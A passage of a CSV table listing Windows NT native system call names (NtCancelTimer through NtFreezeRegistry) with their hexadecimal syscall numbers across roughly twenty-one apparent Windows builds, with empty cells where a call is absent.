64,NtCancelTimer,0x0061,0x0061,0x0061,0x0061,0x0061,0x0061,0x0061,0x0061,0x0061,0x0061,0x0061,0x0061,0x0061,0x0061,0x0061,0x0061,0x0061,0x0061,0x0061,0x0061,0x0061
65,NtCancelTimer2,0x008f,0x008f,0x008f,0x0090,0x0091,0x0092,0x0092,0x0092,0x0092,0x0094,0x0094,0x0094,0x0094,0x0094,0x0094,0x0094,0x0094,0x0094,0x0095,0x0096,0x0096
66,NtCancelWaitCompletionPacket,0x0090,0x0090,0x0090,0x0091,0x0092,0x0093,0x0093,0x0093,0x0093,0x0095,0x0095,0x0095,0x0095,0x0095,0x0095,0x0095,0x0095,0x0095,0x0096,0x0097,0x0097
67,NtChangeProcessState,,,,,,,,,,,,,,,0x0096,0x0096,0x0096,0x0096,0x0097,0x0098,0x0098
68,NtChangeThreadState,,,,,,,,,,,,,,,0x0097,0x0097,0x0097,0x0097,0x0098,0x0099,0x0099
69,NtClearAllSavepointsTransaction,,,,,,,,,,,,,,,,,,,,,
70,NtClearEvent,0x003e,0x003e,0x003e,0x003e,0x003e,0x003e,0x003e,0x003e,0x003e,0x003e,0x003e,0x003e,0x003e,0x003e,0x003e,0x003e,0x003e,0x003e,0x003e,0x003e,0x003e
71,NtClearSavepointTransaction,,,,,,,,,,,,,,,,,,,,,
72,NtClose,0x000f,0x000f,0x000f,0x000f,0x000f,0x000f,0x000f,0x000f,0x000f,0x000f,0x000f,0x000f,0x000f,0x000f,0x000f,0x000f,0x000f,0x000f,0x000f,0x000f,0x000f
73,NtCloseObjectAuditAlarm,0x003b,0x003b,0x003b,0x003b,0x003b,0x003b,0x003b,0x003b,0x003b,0x003b,0x003b,0x003b,0x003b,0x003b,0x003b,0x003b,0x003b,0x003b,0x003b,0x003b,0x003b
74,NtCommitComplete,0x0091,0x0091,0x0091,0x0092,0x0093,0x0094,0x0094,0x0094,0x0094,0x0096,0x0096,0x0096,0x0096,0x0096,0x0098,0x0098,0x0098,0x0098,0x0099,0x009a,0x009a
75,NtCommitEnlistment,0x0092,0x0092,0x0092,0x0093,0x0094,0x0095,0x0095,0x0095,0x0095,0x0097,0x0097,0x0097,0x0097,0x0097,0x0099,0x0099,0x0099,0x0099,0x009a,0x009b,0x009b
76,NtCommitRegistryTransaction,,,0x0093,0x0094,0x0095,0x0096,0x0096,0x0096,0x0096,0x0098,0x0098,0x0098,0x0098,0x0098,0x009a,0x009a,0x009a,0x009a,0x009b,0x009c,0x009c
77,NtCommitTransaction,0x0093,0x0093,0x0094,0x0095,0x0096,0x0097,0x0097,0x0097,0x0097,0x0099,0x0099,0x0099,0x0099,0x0099,0x009b,0x009b,0x009b,0x009b,0x009c,0x009d,0x009d
78,NtCompactKeys,0x0094,0x0094,0x0095,0x0096,0x0097,0x0098,0x0098,0x0098,0x0098,0x009a,0x009a,0x009a,0x009a,0x009a,0x009c,0x009c,0x009c,0x009c,0x009d,0x009e,0x009e
79,NtCompareObjects,0x0095,0x0095,0x0096,0x0097,0x0098,0x0099,0x0099,0x0099,0x0099,0x009b,0x009b,0x009b,0x009b,0x009b,0x009d,0x009d,0x009d,0x009d,0x009e,0x009f,0x009f
80,NtCompareSigningLevels,,,,0x0098,0x0099,0x009a,0x009a,0x009a,0x009a,0x009c,0x009c,0x009c,0x009c,0x009c,0x009e,0x009e,0x009e,0x009e,0x009f,0x00a0,0x00a0
81,NtCompareTokens,0x0096,0x0096,0x0097,0x0099,0x009a,0x009b,0x009b,0x009b,0x009b,0x009d,0x009d,0x009d,0x009d,0x009d,0x009f,0x009f,0x009f,0x009f,0x00a0,0x00a1,0x00a1
82,NtCompleteConnectPort,0x0097,0x0097,0x0098,0x009a,0x009b,0x009c,0x009c,0x009c,0x009c,0x009e,0x009e,0x009e,0x009e,0x009e,0x00a0,0x00a0,0x00a0,0x00a0,0x00a1,0x00a2,0x00a2
83,NtCompressKey,0x0098,0x0098,0x0099,0x009b,0x009c,0x009d,0x009d,0x009d,0x009d,0x009f,0x009f,0x009f,0x009f,0x009f,0x00a1,0x00a1,0x00a1,0x00a1,0x00a2,0x00a3,0x00a3
84,NtConnectPort,0x0099,0x0099,0x009a,0x009c,0x009d,0x009e,0x009e,0x009e,0x009e,0x00a0,0x00a0,0x00a0,0x00a0,0x00a0,0x00a2,0x00a2,0x00a2,0x00a2,0x00a3,0x00a4,0x00a4
85,NtContinue,0x0043,0x0043,0x0043,0x0043,0x0043,0x0043,0x0043,0x0043,0x0043,0x0043,0x0043,0x0043,0x0043,0x0043,0x0043,0x0043,0x0043,0x0043,0x0043,0x0043,0x0043
86,NtContinueEx,,,,,,,,,,0x00a1,0x00a1,0x00a1,0x00a1,0x00a1,0x00a3,0x00a3,0x00a3,0x00a3,0x00a4,0x00a5,0x00a5
87,NtConvertBetweenAuxiliaryCounterAndPerformanceCounter,,,,0x009d,0x009e,0x009f,0x009f,0x009f,0x009f,0x00a2,0x00a2,0x00a2,0x00a2,0x00a2,0x00a4,0x00a4,0x00a4,0x00a4,0x00a5,0x00a6,0x00a6
88,NtCopyFileChunk,,,,,,,,,,,,,0x00a3,0x00a3,0x00a5,0x00a5,0x00a5,0x00a5,0x00a6,0x00a7,0x00a7
89,NtCreateCpuPartition,,,,,,,,,,,,,,,,,0x00a6,0x00a6,0x00a7,0x00a8,0x00a8
90,NtCreateCrossVmEvent,,,,,,,,0x00a0,0x00a0,0x00a3,0x00a3,0x00a3,0x00a4,0x00a4,0x00a6,0x00a6,0x00a7,0x00a7,0x00a8,0x00a9,0x00a9
91,NtCreateCrossVmMutant,,,,,,,,,,0x00a4,0x00a4,0x00a4,0x00a5,0x00a5,0x00a7,0x00a7,0x00a8,0x00a8,0x00a9,0x00aa,0x00aa
92,NtCreateDebugObject,0x009a,0x009a,0x009b,0x009e,0x009f,0x00a0,0x00a0,0x00a1,0x00a1,0x00a5,0x00a5,0x00a5,0x00a6,0x00a6,0x00a8,0x00a8,0x00a9,0x00a9,0x00aa,0x00ab,0x00ab
93,NtCreateDirectoryObject,0x009b,0x009b,0x009c,0x009f,0x00a0,0x00a1,0x00a1,0x00a2,0x00a2,0x00a6,0x00a6,0x00a6,0x00a7,0x00a7,0x00a9,0x00a9,0x00aa,0x00aa,0x00ab,0x00ac,0x00ac
94,NtCreateDirectoryObjectEx,0x009c,0x009c,0x009d,0x00a0,0x00a1,0x00a2,0x00a2,0x00a3,0x00a3,0x00a7,0x00a7,0x00a7,0x00a8,0x00a8,0x00aa,0x00aa,0x00ab,0x00ab,0x00ac,0x00ad,0x00ad
95,NtCreateEnclave,,0x009d,0x009e,0x00a1,0x00a2,0x00a3,0x00a3,0x00a4,0x00a4,0x00a8,0x00a8,0x00a8,0x00a9,0x00a9,0x00ab,0x00ab,0x00ac,0x00ac,0x00ad,0x00ae,0x00ae
96,NtCreateEnlistment,0x009d,0x009e,0x009f,0x00a2,0x00a3,0x00a4,0x00a4,0x00a5,0x00a5,0x00a9,0x00a9,0x00a9,0x00aa,0x00aa,0x00ac,0x00ac,0x00ad,0x00ad,0x00ae,0x00af,0x00af
97,NtCreateEvent,0x0048,0x0048,0x0048,0x0048,0x0048,0x0048,0x0048,0x0048,0x0048,0x0048,0x0048,0x0048,0x0048,0x0048,0x0048,0x0048,0x0048,0x0048,0x0048,0x0048,0x0048
98,NtCreateEventPair,0x009e,0x009f,0x00a0,0x00a3,0x00a4,0x00a5,0x00a5,0x00a6,0x00a6,0x00aa,0x00aa,0x00aa,0x00ab,0x00ab,0x00ad,0x00ad,0x00ae,0x00ae,0x00af,0x00b0,0x00b0
99,NtCreateFile,0x0055,0x0055,0x0055,0x0055,0x0055,0x0055,0x0055,0x0055,0x0055,0x0055,0x0055,0x0055,0x0055,0x0055,0x0055,0x0055,0x0055,0x0055,0x0055,0x0055,0x0055
100,NtCreateIRTimer,0x009f,0x00a0,0x00a1,0x00a4,0x00a5,0x00a6,0x00a6,0x00a7,0x00a7,0x00ab,0x00ab,0x00ab,0x00ac,0x00ac,0x00ae,0x00ae,0x00af,0x00af,0x00b0,0x00b1,0x00b1
101,NtCreateIoCompletion,0x00a0,0x00a1,0x00a2,0x00a5,0x00a6,0x00a7,0x00a7,0x00a8,0x00a8,0x00ac,0x00ac,0x00ac,0x00ad,0x00ad,0x00af,0x00af,0x00b0,0x00b0,0x00b1,0x00b2,0x00b2
102,NtCreateIoRing,,,,,,,,,,,,,,,,0x00b0,0x00b1,0x00b1,0x00b2,0x00b3,0x00b3
103,NtCreateJobObject,0x00a1,0x00a2,0x00a3,0x00a6,0x00a7,0x00a8,0x00a8,0x00a9,0x00a9,0x00ad,0x00ad,0x00ad,0x00ae,0x00ae,0x00b0,0x00b1,0x00b2,0x00b2,0x00b3,0x00b4,0x00b4
104,NtCreateJobSet,0x00a2,0x00a3,0x00a4,0x00a7,0x00a8,0x00a9,0x00a9,0x00aa,0x00aa,0x00ae,0x00ae,0x00ae,0x00af,0x00af,0x00b1,0x00b2,0x00b3,0x00b3,0x00b4,0x00b5,0x00b5
105,NtCreateKey,0x001d,0x001d,0x001d,0x001d,0x001d,0x001d,0x001d,0x001d,0x001d,0x001d,0x001d,0x001d,0x001d,0x001d,0x001d,0x001d,0x001d,0x001d,0x001d,0x001d,0x001d
106,NtCreateKeyTransacted,0x00a3,0x00a4,0x00a5,0x00a8,0x00a9,0x00aa,0x00aa,0x00ab,0x00ab,0x00af,0x00af,0x00af,0x00b0,0x00b0,0x00b2,0x00b3,0x00b4,0x00b4,0x00b5,0x00b6,0x00b6
107,NtCreateKeyedEvent,0x00a4,0x00a5,0x00a6,0x00a9,0x00aa,0x00ab,0x00ab,0x00ac,0x00ac,0x00b0,0x00b0,0x00b0,0x00b1,0x00b1,0x00b3,0x00b4,0x00b5,0x00b5,0x00b6,0x00b7,0x00b7
108,NtCreateLowBoxToken,0x00a5,0x00a6,0x00a7,0x00aa,0x00ab,0x00ac,0x00ac,0x00ad,0x00ad,0x00b1,0x00b1,0x00b1,0x00b2,0x00b2,0x00b4,0x00b5,0x00b6,0x00b6,0x00b7,0x00b8,0x00b8
109,NtCreateMailslotFile,0x00a6,0x00a7,0x00a8,0x00ab,0x00ac,0x00ad,0x00ad,0x00ae,0x00ae,0x00b2,0x00b2,0x00b2,0x00b3,0x00b3,0x00b5,0x00b6,0x00b7,0x00b7,0x00b8,0x00b9,0x00b9
110,NtCreateMutant,0x00a7,0x00a8,0x00a9,0x00ac,0x00ad,0x00ae,0x00ae,0x00af,0x00af,0x00b3,0x00b3,0x00b3,0x00b4,0x00b4,0x00b6,0x00b7,0x00b8,0x00b8,0x00b9,0x00ba,0x00ba
111,NtCreateNamedPipeFile,0x00a8,0x00a9,0x00aa,0x00ad,0x00ae,0x00af,0x00af,0x00b0,0x00b0,0x00b4,0x00b4,0x00b4,0x00b5,0x00b5,0x00b7,0x00b8,0x00b9,0x00b9,0x00ba,0x00bb,0x00bb
112,NtCreatePagingFile,0x00a9,0x00aa,0x00ab,0x00ae,0x00af,0x00b0,0x00b0,0x00b1,0x00b1,0x00b5,0x00b5,0x00b5,0x00b6,0x00b6,0x00b8,0x00b9,0x00ba,0x00ba,0x00bb,0x00bc,0x00bc
113,NtCreatePartition,0x00aa,0x00ab,0x00ac,0x00af,0x00b0,0x00b1,0x00b1,0x00b2,0x00b2,0x00b6,0x00b6,0x00b6,0x00b7,0x00b7,0x00b9,0x00ba,0x00bb,0x00bb,0x00bc,0x00bd,0x00bd
114,NtCreatePort,0x00ab,0x00ac,0x00ad,0x00b0,0x00b1,0x00b2,0x00b2,0x00b3,0x00b3,0x00b7,0x00b7,0x00b7,0x00b8,0x00b8,0x00ba,0x00bb,0x00bc,0x00bc,0x00bd,0x00be,0x00be
115,NtCreatePrivateNamespace,0x00ac,0x00ad,0x00ae,0x00b1,0x00b2,0x00b3,0x00b3,0x00b4,0x00b4,0x00b8,0x00b8,0x00b8,0x00b9,0x00b9,0x00bb,0x00bc,0x00bd,0x00bd,0x00be,0x00bf,0x00bf
116,NtCreateProcess,0x00ad,0x00ae,0x00af,0x00b2,0x00b3,0x00b4,0x00b4,0x00b5,0x00b5,0x00b9,0x00b9,0x00b9,0x00ba,0x00ba,0x00bc,0x00bd,0x00be,0x00be,0x00bf,0x00c0,0x00c0
117,NtCreateProcessEx,0x004d,0x004d,0x004d,0x004d,0x004d,0x004d,0x004d,0x004d,0x004d,0x004d,0x004d,0x004d,0x004d,0x004d,0x004d,0x004d,0x004d,0x004d,0x004d,0x004d,0x004d
118,NtCreateProcessStateChange,,,,,,,,,,,,,,,0x00bd,0x00be,0x00bf,0x00bf,0x00c0,0x00c1,0x00c1
119,NtCreateProfile,0x00ae,0x00af,0x00b0,0x00b3,0x00b4,0x00b5,0x00b5,0x00b6,0x00b6,0x00ba,0x00ba,0x00ba,0x00bb,0x00bb,0x00be,0x00bf,0x00c0,0x00c0,0x00c1,0x00c2,0x00c2
120,NtCreateProfileEx,0x00af,0x00b0,0x00b1,0x00b4,0x00b5,0x00b6,0x00b6,0x00b7,0x00b7,0x00bb,0x00bb,0x00bb,0x00bc,0x00bc,0x00bf,0x00c0,0x00c1,0x00c1,0x00c2,0x00c3,0x00c3
121,NtCreateRegistryTransaction,,,0x00b2,0x00b5,0x00b6,0x00b7,0x00b7,0x00b8,0x00b8,0x00bc,0x00bc,0x00bc,0x00bd,0x00bd,0x00c0,0x00c1,0x00c2,0x00c2,0x00c3,0x00c4,0x00c4
122,NtCreateResourceManager,0x00b0,0x00b1,0x00b3,0x00b6,0x00b7,0x00b8,0x00b8,0x00b9,0x00b9,0x00bd,0x00bd,0x00bd,0x00be,0x00be,0x00c1,0x00c2,0x00c3,0x00c3,0x00c4,0x00c5,0x00c5
123,NtCreateSection,0x004a,0x004a,0x004a,0x004a,0x004a,0x004a,0x004a,0x004a,0x004a,0x004a,0x004a,0x004a,0x004a,0x004a,0x004a,0x004a,0x004a,0x004a,0x004a,0x004a,0x004a
124,NtCreateSectionEx,,,,,,,0x00b9,0x00ba,0x00ba,0x00be,0x00be,0x00be,0x00bf,0x00bf,0x00c2,0x00c3,0x00c4,0x00c4,0x00c5,0x00c6,0x00c6
125,NtCreateSemaphore,0x00b1,0x00b2,0x00b4,0x00b7,0x00b8,0x00b9,0x00ba,0x00bb,0x00bb,0x00bf,0x00bf,0x00bf,0x00c0,0x00c0,0x00c3,0x00c4,0x00c5,0x00c5,0x00c6,0x00c7,0x00c7
126,NtCreateSymbolicLinkObject,0x00b2,0x00b3,0x00b5,0x00b8,0x00b9,0x00ba,0x00bb,0x00bc,0x00bc,0x00c0,0x00c0,0x00c0,0x00c1,0x00c1,0x00c4,0x00c5,0x00c6,0x00c6,0x00c7,0x00c8,0x00c8
127,NtCreateThread,0x004e,0x004e,0x004e,0x004e,0x004e,0x004e,0x004e,0x004e,0x004e,0x004e,0x004e,0x004e,0x004e,0x004e,0x004e,0x004e,0x004e,0x004e,0x004e,0x004e,0x004e
128,NtCreateThreadEx,0x00b3,0x00b4,0x00b6,0x00b9,0x00ba,0x00bb,0x00bc,0x00bd,0x00bd,0x00c1,0x00c1,0x00c1,0x00c2,0x00c2,0x00c5,0x00c6,0x00c7,0x00c7,0x00c8,0x00c9,0x00c9
129,NtCreateThreadStateChange,,,,,,,,,,,,,,,0x00c6,0x00c7,0x00c8,0x00c8,0x00c9,0x00ca,0x00ca
130,NtCreateTimer,0x00b4,0x00b5,0x00b7,0x00ba,0x00bb,0x00bc,0x00bd,0x00be,0x00be,0x00c2,0x00c2,0x00c2,0x00c3,0x00c3,0x00c7,0x00c8,0x00c9,0x00c9,0x00ca,0x00cb,0x00cb
131,NtCreateTimer2,0x00b5,0x00b6,0x00b8,0x00bb,0x00bc,0x00bd,0x00be,0x00bf,0x00bf,0x00c3,0x00c3,0x00c3,0x00c4,0x00c4,0x00c8,0x00c9,0x00ca,0x00ca,0x00cb,0x00cc,0x00cc
132,NtCreateToken,0x00b6,0x00b7,0x00b9,0x00bc,0x00bd,0x00be,0x00bf,0x00c0,0x00c0,0x00c4,0x00c4,0x00c4,0x00c5,0x00c5,0x00c9,0x00ca,0x00cb,0x00cb,0x00cc,0x00cd,0x00cd
133,NtCreateTokenEx,0x00b7,0x00b8,0x00ba,0x00bd,0x00be,0x00bf,0x00c0,0x00c1,0x00c1,0x00c5,0x00c5,0x00c5,0x00c6,0x00c6,0x00ca,0x00cb,0x00cc,0x00cc,0x00cd,0x00ce,0x00ce
134,NtCreateTransaction,0x00b8,0x00b9,0x00bb,0x00be,0x00bf,0x00c0,0x00c1,0x00c2,0x00c2,0x00c6,0x00c6,0x00c6,0x00c7,0x00c7,0x00cb,0x00cc,0x00cd,0x00cd,0x00ce,0x00cf,0x00cf
135,NtCreateTransactionManager,0x00b9,0x00ba,0x00bc,0x00bf,0x00c0,0x00c1,0x00c2,0x00c3,0x00c3,0x00c7,0x00c7,0x00c7,0x00c8,0x00c8,0x00cc,0x00cd,0x00ce,0x00ce,0x00cf,0x00d0,0x00d0
136,NtCreateUserProcess,0x00ba,0x00bb,0x00bd,0x00c0,0x00c1,0x00c2,0x00c3,0x00c4,0x00c4,0x00c8,0x00c8,0x00c8,0x00c9,0x00c9,0x00cd,0x00ce,0x00cf,0x00cf,0x00d0,0x00d1,0x00d1
137,NtCreateWaitCompletionPacket,0x00bb,0x00bc,0x00be,0x00c1,0x00c2,0x00c3,0x00c4,0x00c5,0x00c5,0x00c9,0x00c9,0x00c9,0x00ca,0x00ca,0x00ce,0x00cf,0x00d0,0x00d0,0x00d1,0x00d2,0x00d2
138,NtCreateWaitablePort,0x00bc,0x00bd,0x00bf,0x00c2,0x00c3,0x00c4,0x00c5,0x00c6,0x00c6,0x00ca,0x00ca,0x00ca,0x00cb,0x00cb,0x00cf,0x00d0,0x00d1,0x00d1,0x00d2,0x00d3,0x00d3
139,NtCreateWnfStateName,0x00bd,0x00be,0x00c0,0x00c3,0x00c4,0x00c5,0x00c6,0x00c7,0x00c7,0x00cb,0x00cb,0x00cb,0x00cc,0x00cc,0x00d0,0x00d1,0x00d2,0x00d2,0x00d3,0x00d4,0x00d4
140,NtCreateWorkerFactory,0x00be,0x00bf,0x00c1,0x00c4,0x00c5,0x00c6,0x00c7,0x00c8,0x00c8,0x00cc,0x00cc,0x00cc,0x00cd,0x00cd,0x00d1,0x00d2,0x00d3,0x00d3,0x00d4,0x00d5,0x00d5
141,NtDebugActiveProcess,0x00bf,0x00c0,0x00c2,0x00c5,0x00c6,0x00c7,0x00c8,0x00c9,0x00c9,0x00cd,0x00cd,0x00cd,0x00ce,0x00ce,0x00d2,0x00d3,0x00d4,0x00d4,0x00d5,0x00d6,0x00d6
142,NtDebugContinue,0x00c0,0x00c1,0x00c3,0x00c6,0x00c7,0x00c8,0x00c9,0x00ca,0x00ca,0x00ce,0x00ce,0x00ce,0x00cf,0x00cf,0x00d3,0x00d4,0x00d5,0x00d5,0x00d6,0x00d7,0x00d7
143,NtDelayExecution,0x0034,0x0034,0x0034,0x0034,0x0034,0x0034,0x0034,0x0034,0x0034,0x0034,0x0034,0x0034,0x0034,0x0034,0x0034,0x0034,0x0034,0x0034,0x0034,0x0034,0x0034
144,NtDeleteAtom,0x00c1,0x00c2,0x00c4,0x00c7,0x00c8,0x00c9,0x00ca,0x00cb,0x00cb,0x00cf,0x00cf,0x00cf,0x00d0,0x00d0,0x00d4,0x00d5,0x00d6,0x00d6,0x00d7,0x00d8,0x00d8
145,NtDeleteBootEntry,0x00c2,0x00c3,0x00c5,0x00c8,0x00c9,0x00ca,0x00cb,0x00cc,0x00cc,0x00d0,0x00d0,0x00d0,0x00d1,0x00d1,0x00d5,0x00d6,0x00d7,0x00d7,0x00d8,0x00d9,0x00d9
146,NtDeleteDriverEntry,0x00c3,0x00c4,0x00c6,0x00c9,0x00ca,0x00cb,0x00cc,0x00cd,0x00cd,0x00d1,0x00d1,0x00d1,0x00d2,0x00d2,0x00d6,0x00d7,0x00d8,0x00d8,0x00d9,0x00da,0x00da
147,NtDeleteFile,0x00c4,0x00c5,0x00c7,0x00ca,0x00cb,0x00cc,0x00cd,0x00ce,0x00ce,0x00d2,0x00d2,0x00d2,0x00d3,0x00d3,0x00d7,0x00d8,0x00d9,0x00d9,0x00da,0x00db,0x00db
148,NtDeleteKey,0x00c5,0x00c6,0x00c8,0x00cb,0x00cc,0x00cd,0x00ce,0x00cf,0x00cf,0x00d3,0x00d3,0x00d3,0x00d4,0x00d4,0x00d8,0x00d9,0x00da,0x00da,0x00db,0x00dc,0x00dc
149,NtDeleteObjectAuditAlarm,0x00c6,0x00c7,0x00c9,0x00cc,0x00cd,0x00ce,0x00cf,0x00d0,0x00d0,0x00d4,0x00d4,0x00d4,0x00d5,0x00d5,0x00d9,0x00da,0x00db,0x00db,0x00dc,0x00dd,0x00dd
150,NtDeletePrivateNamespace,0x00c7,0x00c8,0x00ca,0x00cd,0x00ce,0x00cf,0x00d0,0x00d1,0x00d1,0x00d5,0x00d5,0x00d5,0x00d6,0x00d6,0x00da,0x00db,0x00dc,0x00dc,0x00dd,0x00de,0x00de
151,NtDeleteValueKey,0x00c8,0x00c9,0x00cb,0x00ce,0x00cf,0x00d0,0x00d1,0x00d2,0x00d2,0x00d6,0x00d6,0x00d6,0x00d7,0x00d7,0x00db,0x00dc,0x00dd,0x00dd,0x00de,0x00df,0x00df
152,NtDeleteWnfStateData,0x00c9,0x00ca,0x00cc,0x00cf,0x00d0,0x00d1,0x00d2,0x00d3,0x00d3,0x00d7,0x00d7,0x00d7,0x00d8,0x00d8,0x00dc,0x00dd,0x00de,0x00de,0x00df,0x00e0,0x00e0
153,NtDeleteWnfStateName,0x00ca,0x00cb,0x00cd,0x00d0,0x00d1,0x00d2,0x00d3,0x00d4,0x00d4,0x00d8,0x00d8,0x00d8,0x00d9,0x00d9,0x00dd,0x00de,0x00df,0x00df,0x00e0,0x00e1,0x00e1
154,NtDeviceIoControlFile,0x0007,0x0007,0x0007,0x0007,0x0007,0x0007,0x0007,0x0007,0x0007,0x0007,0x0007,0x0007,0x0007,0x0007,0x0007,0x0007,0x0007,0x0007,0x0007,0x0007,0x0007
155,NtDirectGraphicsCall,,,,,,,,,,0x00d9,0x00d9,0x00d9,0x00da,0x00da,0x00de,0x00df,0x00e0,0x00e0,0x00e1,0x00e2,0x00e2
156,NtDisableLastKnownGood,0x00cb,0x00cc,0x00ce,0x00d1,0x00d2,0x00d3,0x00d4,0x00d5,0x00d5,0x00da,0x00da,0x00da,0x00db,0x00db,0x00df,0x00e0,0x00e1,0x00e1,0x00e2,0x00e3,0x00e3
157,NtDisplayString,0x00cc,0x00cd,0x00cf,0x00d2,0x00d3,0x00d4,0x00d5,0x00d6,0x00d6,0x00db,0x00db,0x00db,0x00dc,0x00dc,0x00e0,0x00e1,0x00e2,0x00e2,0x00e3,0x00e4,0x00e4
158,NtDrawText,0x00cd,0x00ce,0x00d0,0x00d3,0x00d4,0x00d5,0x00d6,0x00d7,0x00d7,0x00dc,0x00dc,0x00dc,0x00dd,0x00dd,0x00e1,0x00e2,0x00e3,0x00e3,0x00e4,0x00e5,0x00e5
159,NtDuplicateObject,0x003c,0x003c,0x003c,0x003c,0x003c,0x003c,0x003c,0x003c,0x003c,0x003c,0x003c,0x003c,0x003c,0x003c,0x003c,0x003c,0x003c,0x003c,0x003c,0x003c,0x003c
160,NtDuplicateToken,0x0042,0x0042,0x0042,0x0042,0x0042,0x0042,0x0042,0x0042,0x0042,0x0042,0x0042,0x0042,0x0042,0x0042,0x0042,0x0042,0x0042,0x0042,0x0042,0x0042,0x0042
161,NtEnableLastKnownGood,0x00ce,0x00cf,0x00d1,0x00d4,0x00d5,0x00d6,0x00d7,0x00d8,0x00d8,0x00dd,0x00dd,0x00dd,0x00de,0x00de,0x00e2,0x00e3,0x00e4,0x00e4,0x00e5,0x00e6,0x00e6
162,NtEnumerateBootEntries,0x00cf,0x00d0,0x00d2,0x00d5,0x00d6,0x00d7,0x00d8,0x00d9,0x00d9,0x00de,0x00de,0x00de,0x00df,0x00df,0x00e3,0x00e4,0x00e5,0x00e5,0x00e6,0x00e7,0x00e7
163,NtEnumerateDriverEntries,0x00d0,0x00d1,0x00d3,0x00d6,0x00d7,0x00d8,0x00d9,0x00da,0x00da,0x00df,0x00df,0x00df,0x00e0,0x00e0,0x00e4,0x00e5,0x00e6,0x00e6,0x00e7,0x00e8,0x00e8
164,NtEnumerateKey,0x0032,0x0032,0x0032,0x0032,0x0032,0x0032,0x0032,0x0032,0x0032,0x0032,0x0032,0x0032,0x0032,0x0032,0x0032,0x0032,0x0032,0x0032,0x0032,0x0032,0x0032
165,NtEnumerateSystemEnvironmentValuesEx,0x00d1,0x00d2,0x00d4,0x00d7,0x00d8,0x00d9,0x00da,0x00db,0x00db,0x00e0,0x00e0,0x00e0,0x00e1,0x00e1,0x00e5,0x00e6,0x00e7,0x00e7,0x00e8,0x00e9,0x00e9
166,NtEnumerateTransactionObject,0x00d2,0x00d3,0x00d5,0x00d8,0x00d9,0x00da,0x00db,0x00dc,0x00dc,0x00e1,0x00e1,0x00e1,0x00e2,0x00e2,0x00e6,0x00e7,0x00e8,0x00e8,0x00e9,0x00ea,0x00ea
167,NtEnumerateValueKey,0x0013,0x0013,0x0013,0x0013,0x0013,0x0013,0x0013,0x0013,0x0013,0x0013,0x0013,0x0013,0x0013,0x0013,0x0013,0x0013,0x0013,0x0013,0x0013,0x0013,0x0013
168,NtExtendSection,0x00d3,0x00d4,0x00d6,0x00d9,0x00da,0x00db,0x00dc,0x00dd,0x00dd,0x00e2,0x00e2,0x00e2,0x00e3,0x00e3,0x00e7,0x00e8,0x00e9,0x00e9,0x00ea,0x00eb,0x00eb
169,NtFilterBootOption,0x00d4,0x00d5,0x00d7,0x00da,0x00db,0x00dc,0x00dd,0x00de,0x00de,0x00e3,0x00e3,0x00e3,0x00e4,0x00e4,0x00e8,0x00e9,0x00ea,0x00ea,0x00eb,0x00ec,0x00ec
170,NtFilterToken,0x00d5,0x00d6,0x00d8,0x00db,0x00dc,0x00dd,0x00de,0x00df,0x00df,0x00e4,0x00e4,0x00e4,0x00e5,0x00e5,0x00e9,0x00ea,0x00eb,0x00eb,0x00ec,0x00ed,0x00ed
171,NtFilterTokenEx,0x00d6,0x00d7,0x00d9,0x00dc,0x00dd,0x00de,0x00df,0x00e0,0x00e0,0x00e5,0x00e5,0x00e5,0x00e6,0x00e6,0x00ea,0x00eb,0x00ec,0x00ec,0x00ed,0x00ee,0x00ee
172,NtFindAtom,0x0014,0x0014,0x0014,0x0014,0x0014,0x0014,0x0014,0x0014,0x0014,0x0014,0x0014,0x0014,0x0014,0x0014,0x0014,0x0014,0x0014,0x0014,0x0014,0x0014,0x0014
173,NtFlushBuffersFile,0x004b,0x004b,0x004b,0x004b,0x004b,0x004b,0x004b,0x004b,0x004b,0x004b,0x004b,0x004b,0x004b,0x004b,0x004b,0x004b,0x004b,0x004b,0x004b,0x004b,0x004b
174,NtFlushBuffersFileEx,0x00d7,0x00d8,0x00da,0x00dd,0x00de,0x00df,0x00e0,0x00e1,0x00e1,0x00e6,0x00e6,0x00e6,0x00e7,0x00e7,0x00eb,0x00ec,0x00ed,0x00ed,0x00ee,0x00ef,0x00ef
175,NtFlushInstallUILanguage,0x00d8,0x00d9,0x00db,0x00de,0x00df,0x00e0,0x00e1,0x00e2,0x00e2,0x00e7,0x00e7,0x00e7,0x00e8,0x00e8,0x00ec,0x00ed,0x00ee,0x00ee,0x00ef,0x00f0,0x00f0
176,NtFlushInstructionCache,0x00d9,0x00da,0x00dc,0x00df,0x00e0,0x00e1,0x00e2,0x00e3,0x00e3,0x00e8,0x00e8,0x00e8,0x00e9,0x00e9,0x00ed,0x00ee,0x00ef,0x00ef,0x00f0,0x00f1,0x00f1
177,NtFlushKey,0x00da,0x00db,0x00dd,0x00e0,0x00e1,0x00e2,0x00e3,0x00e4,0x00e4,0x00e9,0x00e9,0x00e9,0x00ea,0x00ea,0x00ee,0x00ef,0x00f0,0x00f0,0x00f1,0x00f2,0x00f2
178,NtFlushProcessWriteBuffers,0x00db,0x00dc,0x00de,0x00e1,0x00e2,0x00e3,0x00e4,0x00e5,0x00e5,0x00ea,0x00ea,0x00ea,0x00eb,0x00eb,0x00ef,0x00f0,0x00f1,0x00f1,0x00f2,0x00f3,0x00f3
179,NtFlushVirtualMemory,0x00dc,0x00dd,0x00df,0x00e2,0x00e3,0x00e4,0x00e5,0x00e6,0x00e6,0x00eb,0x00eb,0x00eb,0x00ec,0x00ec,0x00f0,0x00f1,0x00f2,0x00f2,0x00f3,0x00f4,0x00f4
180,NtFlushWriteBuffer,0x00dd,0x00de,0x00e0,0x00e3,0x00e4,0x00e5,0x00e6,0x00e7,0x00e7,0x00ec,0x00ec,0x00ec,0x00ed,0x00ed,0x00f1,0x00f2,0x00f3,0x00f3,0x00f4,0x00f5,0x00f5
181,NtFreeUserPhysicalPages,0x00de,0x00df,0x00e1,0x00e4,0x00e5,0x00e6,0x00e7,0x00e8,0x00e8,0x00ed,0x00ed,0x00ed,0x00ee,0x00ee,0x00f2,0x00f3,0x00f4,0x00f4,0x00f5,0x00f6,0x00f6
182,NtFreeVirtualMemory,0x001e,0x001e,0x001e,0x001e,0x001e,0x001e,0x001e,0x001e,0x001e,0x001e,0x001e,0x001e,0x001e,0x001e,0x001e,0x001e,0x001e,0x001e,0x001e,0x001e,0x001e
183,NtFreezeRegistry,0x00df,0x00e0,0x00e2,0x00e5,0x00e6,0x00e7,0x00e8,0x00e9,0x00e9,0x00ee,0x00ee,0x00ee,0x00ef,0x00ef,0x00f3,0x00f4,0x00f5,0x00f5,0x00f6,0x00f7,0x00f7
